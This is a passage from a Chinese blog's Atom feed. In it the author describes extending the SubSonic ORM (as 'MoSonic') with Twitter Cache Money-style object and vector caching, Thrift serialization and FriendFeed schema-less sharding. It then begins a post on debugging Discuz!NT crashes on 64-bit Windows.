&lt;p&gt;我们先把user表的分布式放一边，仅考虑单机的情况；我们假设它是优化。&lt;/p&gt;&#xD;
&lt;p&gt;我们原来的设计中，cache money在典型情况下是缓存了100%的查询，对于这种新冒出来的查询，要怎么缓存？&lt;/p&gt;&#xD;
&lt;p&gt;仔细研究的话，这种缓存其实是可以做的；但查询类型增加了，缓存类型增加了，相应的缓存更新策略复杂度也会增加。&lt;/p&gt;&#xD;
&lt;p&gt;这里的实际问题是：在框架中增加这些复杂度/编码量，缓存占用，数据库的索引空间；而换来的查询优化是否值得？&lt;/p&gt;&#xD;
&lt;p&gt;这其实不可一概而论，是要视业务场景而定。&lt;/p&gt;&#xD;
&lt;p&gt;如果，以用户名获得密码的查询在产品业务中的调用异常频繁，甚至就是业务本身100%的调用，那么神马编码复杂度，缓存占用，索引空间都是浮云，这是必须付出的代价。&lt;/p&gt;&#xD;
&lt;p&gt;OK，我们决定做不惜一切代价来实现这个优化；这其实又引入了另一个问题：&lt;/p&gt;&#xD;
&lt;p&gt;MoSonic支持的查询类型是否是优化此业务的唯一选择？&lt;/p&gt;&#xD;
&lt;p&gt;可不可以在不改变MoSonic现有结构的情况下来实现这样的优化？&lt;/p&gt;&#xD;
&lt;p&gt;这个碰巧是有现成的案例，人人网，为了高效的检查一个用户帐号是否有效，专门搞了一整台服务器做中间层缓存所有人人网用户是否被ban的数据，并提供高效的网络接口供系统其他模块调用。&lt;/p&gt;&#xD;
&lt;p&gt;具体可查阅人人网中间层：&lt;a href="http://ugc.renren.com/2010/02/20/renren-ice/"&gt;实践篇&lt;/a&gt;。&lt;/p&gt;&#xD;
&lt;p&gt;所以，答案是可以。&lt;/p&gt;&#xD;
&lt;p&gt;MoSonic本身是作为一个通用的底层ORM框架，它的分布式支持，缓存支持，都是透明的；但也不强制开发者必须使用；对Cache Money不符合的业务场景，那么是可以把缓存禁用掉；开发者根据自己业务特性去寻求更贴切的缓存方案。&lt;/p&gt;&#xD;
&lt;p&gt;设计一个通用的数据库访问方案，实质上并不应该对特定业务做特定场景下的优化，而应该留出来空间，让开发者在遇到特殊场景时有实现特定优化的可能。&lt;/p&gt;&#xD;
&lt;p&gt;如果说，MoSonic把cache money这层透明缓存做成强制的，开发者连禁用某个表的缓存控制都没有，那才是设计的问题。&lt;/p&gt;&#xD;
&lt;p&gt;上述，实际上仅讨论了一个小细节在单机场景下的情况，同一个问题如果延伸至分布式的场景，也会引发很多很有意思的话题，这篇就先不累述了。&lt;/p&gt;&#xD;
&lt;img src="http://www.cnblogs.com/wuvist/aggbug/1951050.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/02/11/MoSonic_4_Cache-Money_FriendFeed_Thrift_In_SubSonic.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/wuvist/archive/2011/01/15/MoSonic_3_Cache-Money_FriendFeed_Thrift_In_SubSonic.html</id><title type="text">MoSonic：对SubSonic的分布式存储、缓存改进尝试(3)</title><summary type="text">在SubSonic中参考FriendFeed Schema-Less Database design实现数据的分布式存储以及分布式索引查询。解决海量数据的存储/写入/查询问题。</summary><published>2011-01-15T04:10:00Z</published><updated>2011-01-15T04:10:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2011/01/15/MoSonic_3_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2011/01/15/MoSonic_3_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"/><content type="html">&lt;p&gt;&lt;span style="font-family: simsun, 宋体; line-height: 16px;"&gt;&#xD;
&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;接&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_2_Cache-Money_FriendFeed_Thrift_In_SubSonic.html" style="color: #990000; text-decoration: none;"&gt;上文&lt;/a&gt;。&lt;/p&gt;&#xD;
&lt;p&gt;Cache Money虽然解决了数据的读取性能瓶颈；但开发大网站数据库面临的问题远不至读压力。&lt;/p&gt;&#xD;
&lt;p&gt;首先是容量。&lt;/p&gt;&#xD;
&lt;p&gt;上千万/亿的数据量并不罕见，单一物理数据库服务器即便单纯承担写压力也会是瓶颈。更何况Cache Money仅仅是在理想状况下才可以做到数据库0读。缓存服务器更新，新增查询，复杂查询等等都还会造成读压力。&lt;/p&gt;&#xD;
&lt;p&gt;比较常见的做法是采用分表，也就是所谓的Sharding，把数据按照一定的规则，分别存储至多台数据库服务器上去。&lt;/p&gt;&#xD;
&lt;p&gt;其次是变动。&lt;/p&gt;&#xD;
&lt;p&gt;业务需求是不可预测的；无论一开始数据库表结构定义得如何完备，总会有新需求出来，需要对表结构做调整才可以实现。&lt;/p&gt;&#xD;
&lt;p&gt;数据量过了百万之后，每次对生产服务器做alter table/create index等调整都是痛苦的经历。&lt;/p&gt;&#xD;
&lt;p&gt;针对容量与变动这两个问题，FriendFeed提出的&lt;a href="http://bret.appspot.com/entry/how-friendfeed-uses-mysql" style="color: #990000; text-decoration: none;"&gt;schema-less database design&lt;/a&gt;给出了一个相当漂亮的解决方案。&lt;/p&gt;&#xD;
&lt;p&gt;强烈推荐阅读FriendFeed的原文。&lt;/p&gt;&#xD;
&lt;p&gt;FriendFeed的方案大致是这样：&lt;/p&gt;&#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;只有一种表结构，只有两个列：id + blob/binary(max)&lt;/li&gt;&#xD;
&lt;li&gt;id本身是UUID，这本身可以很容易做sharding&lt;/li&gt;&#xD;
&lt;li&gt;blob可以反序列化为任意结构&lt;/li&gt;&#xD;
&lt;li&gt;查询通过另外建表实现，比方说users表的blob列反序列化出来的结构中包含一个age的int属性；要查询select * from users where age = 18; 那么就另外建表如user_age，仅包括两列id / age；先查询此表获得id，再查询原本的users表获得完整数据&lt;/li&gt;&#xD;
&lt;li&gt;索引表可以异步建立，而且，建立的时候它都是跟查询相关，可以根据查询条件做sharding；如上面所的age。&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;p&gt;FriendFeed的方案相当聪明，数据本身结构及其简单，sharding很容易做。写/读压力一下子就分布出去。&lt;/p&gt;&#xD;
&lt;p&gt;blob列用于序列化（数据甚至是先zip过再存，CPU强劲，磁盘IO是瓶颈），所以结构可以随时变化；只需要保证序列化算法可以兼容不同版本即可。&lt;/p&gt;&#xD;
&lt;p&gt;而灵活的序列化，恰恰是Facebook Thrift所解决的！&lt;/p&gt;&#xD;
&lt;p&gt;（还记得一开始使用Memcached做object cache时采用了Thrift做序列化么？）&lt;/p&gt;&#xD;
&lt;p&gt;先不考虑Sharding分布方案，在MoSonic中将各个类定义为类似下面的结构：&lt;/p&gt;&#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;id(int)&lt;/li&gt;&#xD;
&lt;li&gt;properties(blob)&#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;user_name(varchar)&lt;/li&gt;&#xD;
&lt;li&gt;age(int)&lt;/li&gt;&#xD;
&lt;li&gt;...&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;/li&gt;&#xD;
&lt;li&gt;...&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;div&gt;使用时可以直接这样：User.FetchById(XXX).properties.user_name。&lt;/div&gt;&#xD;
&lt;div&gt;&lt;/div&gt;&#xD;
&lt;div&gt;因为一开始已经把Thrift序列化代码生成做到SubSonic模板时，这里要给数据多增加一层结构也并非难事；有点水到渠成的感觉。&lt;/div&gt;&#xD;
&lt;p&gt;以后要修改数据结构，直接改Thrift的定义文件，然后重新生成代码就成。properties列中存的数据可能跟最新的结构不一直，但Thrift并不要求严格的匹配（BinaryFormatter则不然），它会自动忽略那些不符合的列；而一但Object被重新存入，数据就又会被重新序列化完整。&lt;/p&gt;&#xD;
&lt;p&gt;======================&lt;/p&gt;&#xD;
&lt;p&gt;FriendFeed的分布式方案要求表主建是uuid，而cache money却要求所有表必须要有自增的ID主健。&lt;/p&gt;&#xD;
&lt;p&gt;这其实不是冲突，把database_name + table_name + id看成一个uuid即可。&lt;/p&gt;&#xD;
&lt;p&gt;而FriendFeed的分布式索引，跟cache money中Vector Cache有异曲同工之妙。&lt;/p&gt;&#xD;
&lt;p&gt;都是根据查询条件做处理/sharding。&lt;/p&gt;&#xD;
&lt;p&gt;之前为MoSonic添加Vector Cache，已经需要判断查询的表名/查询条件；符合即查询缓存；这里套用FriendFeed的方案则变成，符合即查询分布式索引！&lt;/p&gt;&#xD;
&lt;p&gt;执行select id from users where age=18 limit order by id desc 0,10时&lt;/p&gt;&#xD;
&lt;p&gt;逻辑变成这样：&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;ol&gt;&#xD;
&lt;li&gt;检查Vector Cache，存在便返回&lt;/li&gt;&#xD;
&lt;li&gt;检查分布式索引表规则，获得新的数据库连接字符串&lt;/li&gt;&#xD;
&lt;li&gt;执行查询&lt;/li&gt;&#xD;
&lt;li&gt;写入Vector Cache&lt;/li&gt;&#xD;
&lt;/ol&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;插入数据时，之前仅是更新Vector Cache，现在则需多一步去插入索引表。&lt;/p&gt;&#xD;
&lt;p&gt;实际运行中，因为是先插入数据表，同步更新Vector Cache，后续的插叙已经会命中缓存；索引表的更新实质变成是备份，可以异步插入。&lt;/p&gt;&#xD;
&lt;p&gt;Thrift / Cache Money / Schema-less Database Design实际上是三个不同团队为了解决不同方面的技术问题而做出的方案，但糅合进MoSonic中时，我感到的不是冲突，而更多的是一种不谋而合的美妙。&lt;/p&gt;&#xD;
&lt;p&gt;下篇会继续讲更多一些细节。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/wuvist/aggbug/1936187.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/01/15/MoSonic_3_Cache-Money_FriendFeed_Thrift_In_SubSonic.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_2_Cache-Money_FriendFeed_Thrift_In_SubSonic.html</id><title type="text">MoSonic：对SubSonic的分布式存储、缓存改进尝试(2)</title><summary type="text">为SubSonic添加Vector Cache，实现10倍以上的读性能提高。在web 2.0典型应用场景中，做到0数据库读取，100%命中缓存；数据库仅需要承担写压力。</summary><published>2011-01-14T04:42:00Z</published><updated>2011-01-14T04:42:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_2_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_2_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"/><content type="html">&lt;p&gt;接&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_1_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"&gt;上文&lt;/a&gt;。&lt;/p&gt;&#xD;
&lt;p&gt;Cache Money真正牛X的地方是在&lt;a href="http://www.infoq.com/news/2009/06/Twitter-Architecture"&gt;Vector Cache&lt;/a&gt;。在生产环境中，它不仅相对Object Cache命中率较更高，带来的性能飞跃更是可观。&lt;/p&gt;&#xD;
&lt;p&gt;在MoSonic的性能测试中，得到了有10倍的性能提高。&lt;/p&gt;&#xD;
&lt;p&gt;Vector Cache性能恐怖，但它对表结构，查询类型，有相当的严格的要求；列举如下：&lt;/p&gt;&#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;表必须以自增数字（int / long）id为主键&lt;/li&gt;&#xD;
&lt;li&gt;查询的where中必须是 = 等于条件，如where user_id=1&lt;/li&gt;&#xD;
&lt;li&gt;多个where条件的话，相互关系必须是And，如where user_id=1 and id_deleted=0&lt;/li&gt;&#xD;
&lt;li&gt;查询结果仅能是数据id，如 select id from users where ... 不可以是 select user_name from users where ... &#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;也可以是 select count(*) from users where ...&lt;/li&gt;&#xD;
&lt;li&gt;查询结果支持分页&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;/li&gt;&#xD;
&lt;li&gt;查询结果必须以id排倒序，也就是order by id desc&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;p&gt;只有完全符合上面五个条件，Vector Cache才可以生效；幸运的是，在web 2.0网站中，这类结构/查询正好是最常见的。&lt;/p&gt;&#xD;
&lt;p&gt;以博客为例，博客文章列表显示，分类文章数量，评论显示等等，基本都符合上述的查询。&lt;/p&gt;&#xD;
&lt;p&gt;比方说，要获得等级为1的用户时，需要使用下面的两个查询：&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;select id from users where level=1&lt;/li&gt;&#xD;
&lt;li&gt;select * from users where id in (....)&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;两个查询cache money都可以完全缓存，如果直接使用：&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;select * from users where level=1&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;的话，cache &amp;nbsp;money则会完全失效。&lt;/p&gt;&#xD;
&lt;p&gt;对于两种风格的查询孰优孰劣，可以参考&lt;a href="http://www.javaeye.com/"&gt;JavaEye&lt;/a&gt;老大Robin之前写的：&lt;a href="http://robbin.javaeye.com/blog/77338"&gt;为什么ORM性能比iBATIS好&lt;/a&gt;？&lt;/p&gt;&#xD;
&lt;p&gt;=============&lt;/p&gt;&#xD;
&lt;p&gt;因为要求了查询结果必须是id，并且排倒序，Vector Cache实际上是可以做到实时自动更新，而不是自动过期。&lt;/p&gt;&#xD;
&lt;p&gt;考虑这样的调用：&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;ol&gt;&#xD;
&lt;li&gt;select count(id) from photos where album_id=1 order by id desc limit 1, 100&lt;/li&gt;&#xD;
&lt;li&gt;select id from photos where album_id=1 order by id desc limit 1, 100&lt;/li&gt;&#xD;
&lt;li&gt;insert into photos (album_id)values(1)&lt;/li&gt;&#xD;
&lt;li&gt;select count(id) from photos where album_id=1 order by id desc limit 1, 100&lt;/li&gt;&#xD;
&lt;li&gt;select id from photos where album_id=1 order by id desc limit 1, 100&lt;/li&gt;&#xD;
&lt;/ol&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;显示列表，插入数据，再次显示列表；这是相当典型调用。&lt;/p&gt;&#xD;
&lt;p&gt;第1/2步查询会有缓存（即便是没有缓存，查询之后，缓存也会自动被生成，也就是所谓的直读）。&lt;/p&gt;&#xD;
&lt;p&gt;第3步插入数据时，获得数据库自增的ID后，可以直接将此id追加到第1/2步查询缓存结果中。&lt;/p&gt;&#xD;
&lt;p&gt;第4/5步查询直接命中第3步写数据时更新的缓存；完全无需查询数据库。&lt;/p&gt;&#xD;
&lt;p&gt;在查询、应用场景符合的理想情况下，有了Vector Cache，数据库读可以变成恐怖的&lt;strong&gt;0读取&lt;/strong&gt;。&lt;/p&gt;&#xD;
&lt;p&gt;数据库仅需要承担写压力，100%的读都有Memcache的自动缓存。&lt;/p&gt;&#xD;
&lt;p&gt;这才是Cache Money的Vector Cache带来读性能飞跃的原因。&lt;/p&gt;&#xD;
&lt;p&gt;所有的数据库查询都变成了memcache get；memcache单机时在读能力，并发负荷能力上都要比传统关系型数据库高一个数量级；而且其shared nothing的架构，又可以水平扩张。&lt;/p&gt;&#xD;
&lt;p&gt;在高并发，多机缓存的情况下，可以预料Cache Money带来的读性能提高远不止10倍。&lt;/p&gt;&#xD;
&lt;p&gt;==============&lt;/p&gt;&#xD;
&lt;p&gt;Twitter的工程师对Cache Money的实现相当巧妙，他们针对一个限制多多的场景做到了100%的读缓存；而这个&amp;ldquo;限制多多&amp;rdquo;又恰恰是web 2.0网站中的最典型场景。&lt;/p&gt;&#xD;
&lt;p&gt;我在MoSonic中实现Vector Cache时，完全照搬了Cache Money的实现算法；就是C#的代码量比ruby膨胀了几倍。&lt;/p&gt;&#xD;
&lt;p&gt;:)&lt;/p&gt;&#xD;
&lt;p&gt;下篇会继续讲MoSonic对FriendFeed分布式数据库设计的引用。&lt;/p&gt;&lt;img src="http://www.cnblogs.com/wuvist/aggbug/1935405.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_2_Cache-Money_FriendFeed_Thrift_In_SubSonic.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_1_Cache-Money_FriendFeed_Thrift_In_SubSonic.html</id><title type="text">MoSonic：对SubSonic的分布式存储、缓存改进方案尝试（1）</title><summary type="text">在公司内部项目实现过程中团队对SubSonic增加了分布式存储，透明对象缓存，透明查询缓存的支持；内部使用了两三年，并且在持续改进中。MoSonic支持海量数据存储，在web 2.0常见场景中其透明缓存层亦可带来10倍以上的读取性能提高。</summary><published>2011-01-13T16:55:00Z</published><updated>2011-01-13T16:55:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_1_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_1_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"/><content type="html">&lt;p&gt;在公司内部项目实现过程中团队对SubSonic增加了分布式存储，透明对象缓存，透明查询缓存的支持；内部使用了两三年，并且在持续改进中。&lt;/p&gt;&#xD;
&lt;p&gt;MoSonic支持海量数据存储，在web 2.0常见场景中其透明缓存层亦可带来10倍以上的读取性能提高。&lt;/p&gt;&#xD;
&lt;p&gt;这里写blog记述一下。&lt;/p&gt;&#xD;
&lt;p&gt;改进参考/使用了：&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;&lt;a href="http://bret.appspot.com/entry/how-friendfeed-uses-mysql"&gt;FriendFeed Schemaless Database Design&lt;/a&gt;&lt;/li&gt;&#xD;
&lt;li&gt;Twitter: &lt;a href="http://bret.appspot.com/entry/how-friendfeed-uses-mysql"&gt;Cache Money&lt;/a&gt;&lt;/li&gt;&#xD;
&lt;li&gt;Facebook：&lt;a href="http://wiki.apache.org/thrift/"&gt;Thrift&lt;/a&gt;&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;其中Cache Money影响较大，故内部命名为MoSonic，Money-SubSonic。&lt;/p&gt;&#xD;
&lt;p&gt;=============&lt;/p&gt;&#xD;
&lt;p&gt;&lt;a href="http://www.subsonicproject.com/"&gt;SubSonic&lt;/a&gt;是.net中一个相当流行ORM库，号称零代码。与其它ORM相比，SubSonic在易用性方面相当突出。&lt;/p&gt;&#xD;
&lt;p&gt;但这也不意味着SubSonic，或者说ActiveRecord风格的ORM仅能局限于中小网站的开发使用。&lt;/p&gt;&#xD;
&lt;p&gt;ActiveRecord实际上仅是&lt;a href="http://zh.wikipedia.org/zh/马丁&amp;middot;福勒"&gt;Martin Fowler&lt;/a&gt;在《&lt;a href="http://book.douban.com/subject/1230559/"&gt;企业应用架构模式&lt;/a&gt;》一书中的一个小章节提出的，两三页纸而已。&lt;/p&gt;&#xD;
&lt;p&gt;但在Web 2.0时代，随着被&lt;a href="http://rubyonrails.org/"&gt;Ruby On Rails&lt;/a&gt;，&lt;a href="http://www.djangoproject.com/"&gt;Django&lt;/a&gt;等流行框架采用，而大放异彩。&lt;/p&gt;&#xD;
&lt;p&gt;Twitter建站之初也是采用Ruby On Rails，使用的也是RoR内置的ActiveRecord风格ORM。&lt;/p&gt;&#xD;
&lt;p&gt;随着Twitter的发展，数据库性能这块也必然成为瓶颈。而Twitter对此的回答是&lt;a href="https://github.com/nkallen/cache-money"&gt;Cache-Money&lt;/a&gt;，一个透明的ActiveRecord缓存层。&lt;/p&gt;&#xD;
&lt;p&gt;Cache-Money能够透明的支持两类缓存，Object Cache 跟 Vector Cache。&lt;/p&gt;&#xD;
&lt;p&gt;（当然Cache-Money的作用不止这两类缓存。）&lt;/p&gt;&#xD;
&lt;p&gt;=============&lt;/p&gt;&#xD;
&lt;p&gt;都是ActiveRecord，上层API风格一致，Twitter可以在RoR的ORM中做的实现，也一定可以在SubSonic上用c#做实现。&lt;/p&gt;&#xD;
&lt;p&gt;Object Cache比较好理解，它仅仅是基于对象主键缓存对象内容。Object.FetchById(XXX) 这类函数中做下手脚，先查询缓存，缓存不存在时，再去查询数据库。这也是所谓的Read-Through直读缓存。&lt;/p&gt;&#xD;
&lt;p&gt;而Object.Save()在数据库保存成功之后，也随即更新Cache。这也是所谓的Write-Through直写缓存。&lt;/p&gt;&#xD;
&lt;p&gt;Object的直读/写缓存实现非常简单，对SubSonic的FetchById添加Object Cache的话，仅需要十来行代码就可以使用单机内存做缓存。&lt;/p&gt;&#xD;
&lt;p&gt;单机内存非常有限，Web 2.0网站一般使用&lt;a href="http://memcached.org/"&gt;memecached&lt;/a&gt;做分布式缓存，解决单机缓存内存有限的问题；这基本是标配了。&lt;/p&gt;&#xD;
&lt;p&gt;就.Net而言，找个靠谱的memcached client的要比实现SubSonic的Object Cache更加重要。&lt;/p&gt;&#xD;
&lt;p&gt;我使用的是&lt;a href="http://code.google.com/p/beitmemcached/"&gt;BeIt&lt;/a&gt;出品的memcached客户端；&lt;a href="http://stackoverflow.com/questions/694928/which-net-memcached-client-do-you-use-enyimmemcached-vs-beitmemcached"&gt;据说&lt;/a&gt;性能更好的有&lt;a href="http://memcached.enyim.com/"&gt;EnyimMemcached&lt;/a&gt;，但我没有详细测试过，不好评论。&lt;/p&gt;&#xD;
&lt;p&gt;使用了Memcached做缓存的话，对象的序列化问题就变得非常突出了。&lt;/p&gt;&#xD;
&lt;p&gt;.Net内置的BinaryFormatter性能非常差，必须另寻序列化方案。&lt;/p&gt;&#xD;
&lt;p&gt;考察过诸多序列化方案后，我最终选择的是Facebook开源出来的&lt;a href="http://thrift.apache.org/"&gt;Thrift&lt;/a&gt;；它的设计完备，跨语言/平台支持能力非常好，性能不比Google开源出来的&lt;a href="http://code.google.com/p/protobuf/"&gt;ProtoBuf&lt;/a&gt;差，也可以扩展为进程间RPC通讯方案。&lt;/p&gt;&#xD;
&lt;p&gt;为SubSonic添加对象Thrift序列化相对来说就比较麻烦些，但也不难，在SubSonic的代码生成模板中修改即可。&lt;/p&gt;&#xD;
&lt;p&gt;Thrift本身实际上也有提供c#的对象序列化的代码生成工具；但直接使用的话，意味着需要在Thrift对象/SubSonic对象间多增加一次转换；修改代码量虽然会少些，但不如直接修改SubSonic的代码生成模板，直接将Thrift序列化的方法跟SubSonic对象做彻底的整合效率来得高。&lt;/p&gt;&#xD;
&lt;p&gt;使用Thrift做序列化跟使用.net默认的BinaryFormater性能差别是巨大的。公司两台Web服务器，在使用BinaryFormater时CPU近乎100%，但改用Thrift做序列化后立刻下降至20%。&lt;/p&gt;&#xD;
&lt;p&gt;（团队倒不是在出现服务器性能问题后才做了Thrift序列化；提前一年就做了；只是因故做了次实际的性能测试。）&lt;/p&gt;&#xD;
&lt;p&gt;==========&lt;/p&gt;&#xD;
&lt;p&gt;既然修改了SubSonic的代码生成模板，我也顺便将其Object new()的API干掉了；强迫开发者必须使用FetchById风格API获得对象。&lt;/p&gt;&#xD;
&lt;p&gt;同时也增加了FetchByIds的新函数，支持同时获得多个对象，对应select * from tables where id in (..., ...)的查询，以及memcached multi_get的命令。&lt;/p&gt;&#xD;
&lt;p&gt;通过添加透明的Object cache在不增加额外的业务逻辑代码情况下，已经可以获得显著的性能改善，但它还不是本质性的改进。&lt;/p&gt;&#xD;
&lt;p&gt;Cache Money真正的神器是其Vector Cache，实际上，Twitter团队在开发Cache Money时，是优先考虑了Vector Cache的实现，然后再考虑Object Cache；因为他们认为Vector Cache会性能影响更大，事实也证明他们判断正确。&lt;/p&gt;&#xD;
&lt;p&gt;下篇会继续讲Vector Cache的实现。&lt;/p&gt;&lt;img src="http://www.cnblogs.com/wuvist/aggbug/1935130.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/01/14/MoSonic_1_Cache-Money_FriendFeed_Thrift_In_SubSonic.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/wuvist/archive/2010/06/06/1752878.html</id><title type="text">Discuz!NT在64位Windows下运行的问题</title><summary type="text">原文网址：http://www.blogwind.com/Wuvist/74545.shtml＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝非常搞，等了快一年Discuz!NT的免费版本依旧不支持64位Windows。官方出了64位windows支持的指南居然是叫用户把IIS设置为32位兼容模式。。。说了等于没说，这不叫在64位Windows下运行Discuz!NT，这叫如...</summary><published>2010-06-06T14:52:00Z</published><updated>2010-06-06T14:52:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2010/06/06/1752878.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2010/06/06/1752878.html"/><content type="html">&lt;p&gt;原文网址：&lt;a href="http://www.blogwind.com/Wuvist/74545.shtml"&gt;http://www.blogwind.com/Wuvist/74545.shtml&lt;/a&gt;&lt;/p&gt;&#xD;
&lt;p&gt;＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝&lt;/p&gt;&#xD;
&lt;p&gt;非常搞，等了快一年Discuz!NT的免费版本依旧不支持64位Windows。&lt;/p&gt;&#xD;
&lt;p&gt;官方出了64位windows&lt;a style="color: #990000; text-decoration: none;" href="http://faq.comsenz.com/viewnews-641"&gt;支持的指南&lt;/a&gt;居然是叫用户把IIS设置为32位兼容模式。。。说了等于没说，这不叫在64位Windows下运行Discuz!NT，这叫如何不使用64位环境运行Discuz!NT。。。&lt;/p&gt;&#xD;
&lt;p&gt;（最郁闷的是IIS 6是否开启32位支持是一个全局设定，我专门为论坛开了32位支持，服务器上别的依赖64位的程序怎么办？）&lt;/p&gt;&#xD;
&lt;p&gt;直接咨询过Discuz的客服，MM很客气，态度很好，但给的解决方案就是让偶购买商业授权，说掏钱就一定没问题。&lt;/p&gt;&#xD;
&lt;p&gt;但是听得我很忐忑。。。以我自己开发程序的经验，Discuz!NT的在64位运行故障，直接把IIS Application Pool搞崩溃，一定是程序内部的问题。。。而不是授权的问题。。。&lt;/p&gt;&#xD;
&lt;p&gt;总怕被MM给忽悠了。。。3000大元啊。。。反正Discuz!NT是开源的。。。这3000块给自己赚不是更好？&lt;/p&gt;&#xD;
&lt;p&gt;这世界上总不会只有我运遇到这个问题。。。我就痴心的等。。。等了快一年。。。还是没有解决。。。&lt;/p&gt;&#xD;
&lt;p&gt;今天终于怒了。。。自己动手，丰衣足食。。。&lt;/p&gt;&#xD;
&lt;p&gt;首先，下载Discuz!NT的源码：&amp;nbsp;https://svn.51aspx.com/svn/dnt&lt;/p&gt;&#xD;
&lt;p&gt;非常奇怪，Discuz!NT不用google code之类的；51aspx下载慢死。。。&lt;/p&gt;&#xD;
&lt;p&gt;本地编译，上传、部署debug版本。。。从官方论坛上看到，有若干网友说要编译64位版本，甚至还说要把Discuz!NT用的几个依赖库也重新位64位编译。。。我很怀疑这些网友究竟自己尝试过没有。。。反正，我按他们说的方法去做。。。浪费一整天不说，始终也没有任何效果。。。&lt;/p&gt;&#xD;
&lt;p&gt;最后，祭出&lt;a style="color: #990000; text-decoration: none;" href="http://www.microsoft.com/downloads/details.aspx?familyid=28bd5941-c458-46f1-b24d-f60151d875a3&amp;amp;displaylang=en"&gt;Debug Diagnostic Tool&lt;/a&gt;（感谢祖国，微软去年底终于推出了64bit版！）神器。。。&lt;/p&gt;&#xD;
&lt;p&gt;直接用默认的Crash Rule跟踪论坛的Application Pool进程。。。先访问一个空aspx页面启动进程，之后便访问论坛首页。。。果然又挂了。。。而Debug Diagnostic Tools自动dump了进程出来。。。&lt;/p&gt;&#xD;
&lt;p&gt;很好。。。继续祭出&lt;a style="color: #990000; text-decoration: none;" href="http://www.microsoft.com/whdc/devtools/debugging/default.mspx"&gt;Debugging Tools For Windows&lt;/a&gt;神器。。。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;Load dump文件。。。执行：&lt;span style="font-size: 12px; white-space: pre; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;"&gt;!analyze -v&lt;/span&gt;&lt;/p&gt;&#xD;
